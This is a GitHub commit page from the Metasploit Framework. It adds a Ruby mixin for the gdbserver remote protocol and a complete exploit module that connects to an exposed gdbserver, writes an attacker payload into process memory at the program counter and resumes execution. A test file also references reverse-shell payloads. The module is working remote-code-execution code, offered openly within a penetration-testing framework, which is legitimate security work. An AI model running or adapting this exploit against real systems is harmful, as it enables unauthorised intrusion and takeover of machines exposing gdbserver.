Skip to content

Commit 16502b8

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge branch 'master' of github.com:rapid7/metasploit-framework
2 parents b841427 + ae5a8f4 commit 16502b8

File tree

6 files changed

+335
-1
lines changed

6 files changed

+335
-1
lines changed

lib/msf/core/encoded_payload.rb

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -404,6 +404,15 @@ def encoded_war(opts={})
404404
Msf::Util::EXE.to_jsp_war(encoded_exe(opts), opts)
405405
end
406406

407+
#
408+
# An array containing the architecture(s) that this payload was made to run on
409+
#
410+
def arch
411+
if pinst
412+
pinst.arch
413+
end
414+
end
415+
407416
#
408417
# The raw version of the payload
409418
#

lib/msf/core/exploit/gdb.rb

Lines changed: 190 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/tcp'
4+
5+
module Msf
6+
7+
#
8+
# Implement some helpers for communicating with a remote gdb instance.
9+
#
10+
# More info on the gdb protocol can be found here:
11+
# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Overview
12+
#
13+
14+
module Exploit::Remote::Gdb
15+
16+
include Msf::Exploit::Remote::Tcp
17+
18+
# thrown when an expected ACK packet is never received
19+
class BadAckError < RuntimeError; end
20+
21+
# thrown when a response is incorrect
22+
class BadResponseError < RuntimeError; end
23+
24+
# thrown when a checksum is invalid
25+
class BadChecksumError < RuntimeError; end
26+
27+
# Default list of supported GDB features to send the to the target
28+
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
29+
30+
# Maps index of register in GDB that holds $PC to architecture
31+
PC_REGISTERS = {
32+
'08' => ARCH_X86,
33+
'10' => ARCH_X86_64
34+
}
35+
36+
# Send an ACK packet
37+
def send_ack
38+
sock.put('+')
39+
vprint_status('Sending ack...')
40+
end
41+
42+
# Reads an ACK packet from the wire
43+
# @raise [BadAckError] if a bad ACK is received
44+
def read_ack
45+
unless sock.get_once(1) == '+'
46+
raise BadAckError
47+
end
48+
vprint_status('Received ack...')
49+
end
50+
51+
# Sends a command and receives an ACK from the remote.
52+
# @param cmd [String] the gdb command to run. The command is will be
53+
# wrapped '$' prefix and checksum.
54+
def send_cmd(cmd)
55+
full_cmd = '$' + cmd + '#' + checksum(cmd)
56+
vprint_status('Sending cmd: '+full_cmd)
57+
sock.put(full_cmd)
58+
read_ack
59+
end
60+
61+
# Reads (and possibly decodes) from the socket and sends an ACK to verify receipt
62+
# @param opts [Hash] the options hash
63+
# @option opts :decode [Boolean] rle decoding should be applied to the response
64+
# @option opts :verify [Boolean] verify the response's checksum
65+
# @return [String] the response
66+
# @raise [BadResponseError] if the expected response is missing
67+
# @raise [BadChecksumError] if the checksum is invalid
68+
def read_response(opts={})
69+
decode, verify = opts.fetch(:decode, false), opts.fetch(:verify, true)
70+
res = sock.get_once
71+
raise BadResponseError if res.nil?
72+
raise BadChecksumError if (verify && !verify_checksum(res))
73+
res = decode_rle(res) if decode
74+
vprint_status('Result: '+res)
75+
send_ack
76+
res
77+
end
78+
79+
# Implements decoding of gdbserver's Run-Length-Encoding that is applied
80+
# on some hex values to collapse repeated characters.
81+
#
82+
# https://sourceware.org/gdb/current/onlinedocs/gdb/Overview.html#Binary-Data
83+
#
84+
# @param msg [String] the message to decode
85+
# @return [String] the decoded result
86+
def decode_rle(msg)
87+
vprint_status "Before decoding: #{msg}"
88+
msg.gsub /.\*./ do |match|
89+
match.bytes.to_a.first.chr * (match.bytes.to_a.last - 29 + 1)
90+
end
91+
end
92+
93+
# The two-digit checksum is computed as the modulo 256 sum of all characters
94+
# between the leading ‘$’ and the trailing ‘#’ (an eight bit unsigned checksum).
95+
# @param str [String] the string to calculate the checksum of
96+
# @return [String] hex string containing checksum
97+
def checksum(str)
98+
"%02x" % str.bytes.inject(0) { |b, sum| (sum+b)%256 }
99+
end
100+
101+
# Verifies a response's checksum
102+
# @param res [String] the response to check
103+
# @return [Boolean] whether the checksum is valid
104+
def verify_checksum(res)
105+
msg, chksum = res.match(/^\$(.*)#(\h{2})$/)[1..2]
106+
checksum(msg) == chksum
107+
end
108+
109+
# Writes the buffer +buf+ to the address +addr+ in the remote process's memory
110+
# @param buf [String] the buffer to write
111+
# @param addr [String] the hex-encoded address to write to
112+
def write(buf, addr)
113+
hex = Rex::Text.to_hex(buf, '')
114+
send_cmd "M#{addr},#{buf.length.to_s(16)}:#{hex}"
115+
read_response
116+
end
117+
118+
# Steps execution and finds $PC pointer and architecture
119+
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
120+
# @raise [BadResponseError] if necessary data is missing
121+
def process_info
122+
data = step
123+
pc_data = data.split(';')[2]
124+
raise BadResponseError if pc_data.nil?
125+
pc_data = pc_data.split(':')
126+
my_arch = PC_REGISTERS[pc_data[0]]
127+
pc = pc_data[1]
128+
129+
if my_arch.nil?
130+
raise RuntimeError, "Could not detect a supported arch from response to step:\n#{pc_data}"
131+
end
132+
133+
{
134+
arch: my_arch,
135+
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''),
136+
pc_raw: Integer(pc, 16)
137+
}
138+
end
139+
140+
# Continues execution of the remote process
141+
# @param opts [Hash] the options hash
142+
# @option opts :read [Boolean] read the response
143+
def continue(opts={})
144+
send_cmd 'vCont;c'
145+
read_response if opts.fetch(:read, true)
146+
end
147+
148+
# Detaches from the remote process
149+
# @param opts [Hash] the options hash
150+
# @option opts :read [Boolean] read the response
151+
def detach(opts={})
152+
send_cmd 'D'
153+
read_response if opts.fetch(:read, true)
154+
end
155+
156+
# Executes one instruction on the remote process
157+
#
158+
# The results of running "step" will look like:
159+
# x86: $T0505:00000000;04:a0f7ffbf;08:d2f0fdb7;thread:p2d39.2d39;core:0;#53
160+
# x64: $T0506:0000000000000000;07:b0587f9fff7f0000;10:d3e29d03057f0000;thread:p8bf9.8bf9;core:0;#df
161+
# The third comma-separated field will contain EIP, and the register index
162+
# will let us deduce the remote architecture (through PC_REGISTERS lookup)
163+
#
164+
# @return [String] a list of key/value pairs, including current PC
165+
def step
166+
send_cmd 'vCont;s'
167+
read_response(decode: true)
168+
end
169+
170+
def run(filename)
171+
send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}"
172+
read_response
173+
end
174+
175+
def enable_extended_mode
176+
send_cmd("!")
177+
read_response
178+
end
179+
180+
# Performs a handshake packet exchange
181+
# @param features [String] the list of supported features to tell the remote
182+
# host that the client supports (defaults to +DEFAULT_GDB_FEATURES+)
183+
def handshake(features=GDB_FEATURES)
184+
send_cmd features
185+
read_response # lots of flags, nothing interesting
186+
end
187+
188+
end
189+
190+
end

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,7 @@
4747
require 'msf/core/exploit/arkeia'
4848
require 'msf/core/exploit/ndmp'
4949
require 'msf/core/exploit/imap'
50+
require 'msf/core/exploit/gdb'
5051
require 'msf/core/exploit/smtp_deliver'
5152
require 'msf/core/exploit/pop2'
5253
require 'msf/core/exploit/tns'

lib/rex/arch.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def self.pack_addr(arch, addr)
4848
case arch
4949
when ARCH_X86
5050
[addr].pack('V')
51-
when ARCH_X86_64
51+
when ARCH_X86_64, ARCH_X64
5252
[addr].pack('Q<')
5353
when ARCH_MIPS # ambiguous
5454
[addr].pack('N')
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GreatRanking
10+
11+
include Msf::Exploit::Remote::Gdb
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'GDB Server Remote Payload Execution',
16+
'Description' => %q{
17+
This module attempts to execute an arbitrary payload on a gdbserver service.
18+
},
19+
'Author' => [ 'joev' ],
20+
'Targets' => [
21+
[ 'x86 (32-bit)', { 'Arch' => ARCH_X86 } ],
22+
[ 'x86_64 (64-bit)', { 'Arch' => ARCH_X86_64 } ]
23+
],
24+
'Platform' => %w(linux unix osx),
25+
'DefaultTarget' => 0,
26+
'DefaultOptions' => {
27+
'PrependFork' => true
28+
}
29+
))
30+
31+
register_options([
32+
OptString.new('EXE_FILE', [
33+
false,
34+
"The exe to spawn when gdbserver is not attached to a process.",
35+
'/bin/true'
36+
])
37+
], self.class)
38+
end
39+
40+
def exploit
41+
connect
42+
43+
print_status "Performing handshake with gdbserver..."
44+
handshake
45+
46+
enable_extended_mode
47+
48+
begin
49+
print_status "Stepping program to find PC..."
50+
gdb_data = process_info
51+
rescue BadAckError, BadResponseError
52+
# gdbserver is running with the --multi flag and is not currently
53+
# attached to any process. let's attach to /bin/true or something.
54+
print_status "No process loaded, attempting to load /bin/true..."
55+
run(datastore['EXE_FILE'])
56+
gdb_data = process_info
57+
end
58+
59+
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
60+
61+
unless payload.arch.include? gdb_arch
62+
fail_with(
63+
Msf::Exploit::Failure::BadConfig,
64+
"The payload architecture is incorrect: "+
65+
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
66+
)
67+
end
68+
69+
print_status "Writing payload at #{gdb_pc}..."
70+
write(payload.encoded, gdb_pc)
71+
72+
print_status "Executing the payload..."
73+
continue
74+
75+
handler
76+
disconnect
77+
end
78+
79+
end
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
require 'spec_helper'
2+
require 'msf/core/encoded_payload'
3+
4+
describe Msf::EncodedPayload do
5+
PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create(
6+
:module_types => [::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP],
7+
'DisableDatabase' => true,
8+
'DisableLogging' => true
9+
)
10+
11+
let(:framework) { PAYLOAD_FRAMEWORK }
12+
let(:payload) { 'linux/x86/shell_reverse_tcp' }
13+
let(:pinst) { framework.payloads.create(payload) }
14+
15+
subject(:encoded_payload) do
16+
described_class.new(framework, pinst, {})
17+
end
18+
19+
it 'is an Msf::EncodedPayload' do
20+
expect(encoded_payload).to be_a(described_class)
21+
end
22+
23+
describe '.create' do
24+
25+
context 'when passed a valid payload instance' do
26+
27+
# don't ever actually generate payload bytes
28+
before { described_class.any_instance.stub(:generate) }
29+
30+
it 'returns an Msf::EncodedPayload instance' do
31+
expect(described_class.create(pinst)).to be_a(described_class)
32+
end
33+
34+
end
35+
36+
end
37+
38+
describe '#arch' do
39+
context 'when payload is linux/x86 reverse tcp' do
40+
let(:payload) { 'linux/x86/shell_reverse_tcp' }
41+
42+
it 'returns ["X86"]' do
43+
expect(encoded_payload.arch).to eq [ARCH_X86]
44+
end
45+
end
46+
47+
context 'when payload is linux/x64 reverse tcp' do
48+
let(:payload) { 'linux/x64/shell_reverse_tcp' }
49+
50+
it 'returns ["X86_64"]' do
51+
expect(encoded_payload.arch).to eq [ARCH_X86_64]
52+
end
53+
end
54+
end
55+
end

0 commit comments

Comments
 (0)